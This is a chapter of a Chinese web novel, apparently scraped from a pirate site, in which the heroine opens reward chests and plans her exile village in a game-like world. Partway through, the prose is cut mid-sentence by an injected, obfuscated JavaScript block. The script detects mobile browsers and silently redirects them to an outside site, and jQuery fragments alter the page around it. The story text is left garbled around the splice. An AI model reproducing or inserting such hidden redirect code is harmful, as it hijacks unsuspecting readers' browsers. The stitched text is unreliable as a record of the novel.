26.第 26 章
作品:《开局一把铲》 小麦从小精灵处得知,流亡村占地三万亩,村内有山丘,村子刚刚经历过天灾洗礼,短期内不会再出现天灾,目前村内无活物。
此地最多可容纳100户村民,最多可开垦一万亩农田,村民需要由玩家自行招募,基建需要玩家“氪金”,可种植的成熟土地也需要借助地契才能一秒入手。
没有地契,即使招募到村民,村民也无法处理灾后的废墟。
不管是人口还是田地,都可以由玩家“氪金”完成原始积累,村庄是玩家的食邑,开荒完成后,也会向玩家提供税收和物产。
当然,如果领地建设的足够好,即使玩家不“氪金”购买居民,也有可能凭借村子的本身优势吸引到定居者。
这一点有点像流亡话本的基地。
只要村子的居住者满一百户,玩家就能氪金再扩展一个新村落,简称无限繁殖……
感觉是一种积少成多的财富积累途径呢。领地越多,物资的产出就越恐怖。
玩家还可以花钱购买村民产出的物资,源自食邑的物产无时限制约,能带入话本使用。
话说,如果她收取实物税,2层的库房依然有机会利用起来呢。
三万亩都是灾后的荒地,也没有什么可看的,小麦在话本一已经看的够多了。
她回到电梯,去了奖励投放仓。
这个仓房和小麦想象中的不同,走出电梯后是漫无边际的黑暗,仅仅在电梯门口,摆着三个半人高的流光溢彩的彩金宝箱。
小麦凑近了,发现箱子的半拱形盖子上还有刻字,分别写着【通关试玩资料片主线宝箱】、【通关话本一宝箱】、【话本一宝箱】。
从名字推测,前两个宝箱都仅能获得一次,第三个宝箱可以反复刷取。
小麦的手搭上第三个宝箱,小精灵提示,小麦需要把所有限定话本一使用的道具投入,才能打开这个箱子。
小麦这才想起来,虽然背包里的物资,在提交通关的那一刻就上缴了,但随身洞府里还有几样东西。
小麦试着取出空间里的绿皮水壶,水壶果然无法在话本一外的世界使用,她取出来的只有一团虚影。
既然如此,那的确没有留存的必要了。
结算星辰等虚影物资一股脑砸在宝箱上,化作光点汇入流光。
箱盖打开,小精灵开始播报。
【话本一结算通关上缴物资清单。】
【压缩饼干*2,绿皮水壶*1,肉罐头*2,水果罐头*2,瓶装可乐*6,袋装膨化食品*5,珊瑚绒毯*1,抽纸*1,火腿肠*3,袋装自然米饭*2,粒装水果硬糖*17,手持迷你风扇*6,实物铜钱*1400,实物银钱*200,结算星辰*2。】
【货物依照市价折算为2830铜钱,实物货币结算为实物铜钱*14,实物银钱*2,结算星辰结算为流光大转盘*2。】
这些奖励里,只有实物钱币需要接收,这点东西也不用转移,直接在奖励投放仓就能收取。
小麦获得了两串红绳钱币,一串有14铜钱,另一串只有可怜的两枚银币,依旧是话本里的圆形方孔钱,入手轻飘飘的,一枚也不知道有没有一克沉。
想到这是难得的实物货币,小麦又觉得数量少可以被原谅了,至少银币融了真的是纯银不是?
奖励里的流光大转盘直接具现在房间里,比成年人还大的圆形水晶大转盘立在房间,转盘分割成无数细小格子,每个小格子里都有一个图形缩影,明显是可抽取的物品。
转盘的中心点,跳跃着两个拖拽着碎星尾巴的金色胖星星。
想来,等大圆盘转动起来,星星停在哪个位置,小麦就能得到什么奖励。
金色转盘固定在奖励投放仓,转盘里有非常大的家具,小麦担心领地里放不开,准备缓缓再抽奖。
她打开第二个宝箱。
【获得地契*10,物契*10,人契*10,流亡自助售卖机*1,宝钱*10。】
这个宝箱是首通副本专属奖励,这意味着,小麦以后每通关一个话本,都能获得契约*10,宝钱*10,副本相关家具*1。
小麦看了看流亡自助售卖机的介绍。
售卖机只贩卖矿泉水、压缩饼干两种商品,前者20铜钱,后者50铜钱,每人每日限购一件,购买人数无限制。
限购对于寡王很不友好啊。
这件家具占据一格子的位置,可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381174|182744||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以放置于后花园,也能放置于食邑。
小麦稍作思考,便决定把自助售卖机投放到流亡村。
这有利于她招募人口。
而且村落建成初期没有物资产出,村民可以靠自行购买食物度过开荒期,小麦只要借款给村民开荒就好了,到时候还能用村民产出的物资抵欠款和税收。
心念一动,自助售卖机飞出投放仓,一段即时影像在原地铺开,小麦用意念控制着自助售卖机,安置在电梯不远处,这样也方便小麦本人使用。
宝钱自动入账,契约收进空间,
还剩最后一个宝箱。
【恭喜主人完成主线任务一,获得自来水龙头*1,床品套装*1,牙刷*1,牙膏*1,杯子*1,毛巾*1,抽纸*1,宝钱*10,寻宝罗盘*3,随行位*3。】
这个宝箱给的奖励简直是家居大礼包,家居物品自然是通通发往游戏初始地。
小麦看向新出现的随行位,通过触发小精灵获得讯息。
随行位还是个挺重要的存在。
在食邑定居的npc会成为玩家的领民,玩家可以招募忠诚度>60的npc成为追随者,并指定追随者完成一些特定任务。
一旦npc的忠诚度达到100,玩家就能招募对方进入随行位,随玩家一起进入副本。
当然,初始npc的忠诚度不够也没有关系,可以施展“氪金”大法,银钱和金钱礼物都能强行涨忠诚度,但送宝钱礼物就要小心了。
npc接受宝钱礼物后,既有可能触发特殊事件,让npc领悟特殊能力,也有可能出现对方带着宝物叛逃的局面。
当然,如果玩家没有带npc进话本,也可以通过物契直接在随行位招募协助npc。
这样招募来的npc,不同于人才市场的随机看脸,初始忠诚度就能达到100,当然,这样招募来的npc只会随行于当前话本,成不了玩家的领民。
有随行位npc协助,通关副本总会更容易些。
三个宝箱开完后消失,投放仓仅剩一个亮着光的流星大转盘。小麦趴上去研究了一会儿,发现还有占地横竖十多个格子的大型建筑,就放弃了立即使用转盘。